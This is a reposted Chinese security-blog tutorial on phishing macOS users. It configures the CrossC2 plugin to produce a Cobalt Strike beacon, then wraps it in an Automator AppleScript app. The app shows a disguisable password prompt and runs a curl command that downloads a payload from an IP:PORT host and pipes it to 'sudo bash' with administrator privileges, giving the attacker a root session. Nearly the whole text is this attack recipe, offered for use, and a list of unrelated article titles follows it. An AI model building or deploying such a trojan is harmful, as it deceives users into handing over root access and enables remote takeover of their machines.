当前位置: 首页 > news >正文

MAC钓鱼并Root权限上线CS并权限维持,以及所有的坑如何解决

本文转载于:https://www.freebuf.com/articles/web/350592.html

作者:文鸯@涂鸦智能安全实验室

制作MAC

一、下载工具

首先从github上下载CrossC2。链接:https://github.com/gloxec/CrossC2/releases/tag/v3.1.0。

image_375312672442931.png

根据你CS客户端的操作系统选择这里面的对应版本,以及CorssC2-githubBot-2022-06-07.cna这个CS插件。

二、CrossC2使用

首先用编辑器打开CorssC2-githubBot-2022-06-07.cna插件。

image_25135271108946666.png

将红色框出来的位置填上CrossC2
可执行文件的绝对路径(linux和mac版本要使用chmod +x 添加执行权限)。

然后去CS中添加插件即可。
image_2582368606859078.png
image_9362510890458193.png
image_3604339788604465.png

注意:这里的linster要用https的监听。

在生成木马时一定要注意需要将cs服务端中的.cobaltstrike.beacon_keys复制到客户端上,在红框处选中文件即可。
image_48365454909844185.png
这里的ProcessName是木马启动后在主机上的进程名,然后点机Build即可。在CS的log中会出现一个curl的命令,只需在被攻击机上执行便会上线。
image_9481471236623118.png

三、Root Mac app木马的制作

1、工具

image_8668581341414783.png

2、木马创建

打开automator.app,并且点击到运行Applescript。
image_7327605357628451.png

这是我们的木马程序,大致意思是执行我们的木马程序并且以root身份执行(此处的代码是从mac官方找到的模版)。

set unixDesktopPath to POSIX path of "/System/Library/User Template/"
set quotedUnixDesktopPath to quoted form of unixDesktopPath
set fromUnix to do shell script " curl \-A O \-o\- \-L http://IP:PORT/a \|sudo bash \-s " & quotedUnixDesktopPath with administrator privileges

end ru

制作好后点击保存即可
image_12314035538275325.png

3、运行

当点击这里的制作好的app程序会弹出输入密码的提示框(这里是做钓鱼时使用的木马,弹窗的名字都是以任意更改的)。
image_5111961320376777.png

当一输入密码就会上线到我们的CS上,此时CS上的用户是root。
image.png

权限维持

权限维持等下一期出,感谢大家的关注。

http://www.lryc.cn/news/132437.html

相关文章:

  • 浅谈OCR中的David Shepard
  • draw.io导出矢量图到word报错text is not svg - cannot display
  • JVM加强
  • 解决Oracle中XML插入数据时的空格问题
  • 微服务中间件--分布式事务
  • 计算机网络(9) --- 数据链路层与MAC帧
  • 【学会动态规划】环绕字符串中唯一的子字符串(25)
  • CNN卷积详解(三)
  • 使用 Amazon Redshift Serverless 和 Toucan 构建数据故事应用程序
  • CentOS 上快速安装包管理工具Conda
  • opencv-手势识别
  • 【SA8295P 源码分析】10 - HQX Display(OpenWFD)qcdisplaycfg_ADP_STAR_LA.xml 配置文件解析
  • 达梦数据库权限和预定角色介绍
  • Python编程从入门到实践_8-8 用户的专辑_答案
  • HummingBird 基于 Go 开源超轻量级 IoT 物联网平台
  • 10.小程序样式
  • Flink 流式读写文件、文件夹
  • 【SA8295P 源码分析】64 - QNX 与 Android GVM 显示 Dump 图片方法汇总
  • 字符串旋转(1)
  • 【SA8295P 源码分析】13 - Android GVM 虚拟机 QUPv3 UART / SPI / I2C功能配置及透传配置
  • STM32 F103C8T6学习笔记10:OLED显示屏GIF动图取模—简易时钟—动图手表的制作~
  • 大数据课程K3——Spark的常用案例
  • 85-最大矩阵
  • 8.3 【C语言】通过指针引用数组
  • 基于Flink CDC实时同步PostgreSQL与Tidb【Flink SQL Client模式下亲测可行,详细教程】
  • Vue-5.编译器Idea
  • qiuzhiji3
  • JVM——垃圾回收(垃圾回收算法+分代垃圾回收+垃圾回收器)
  • QT TLS initialization failed问题(已解决) QT基础入门【网络编程】openssl
  • SpringMVC之获取请求参数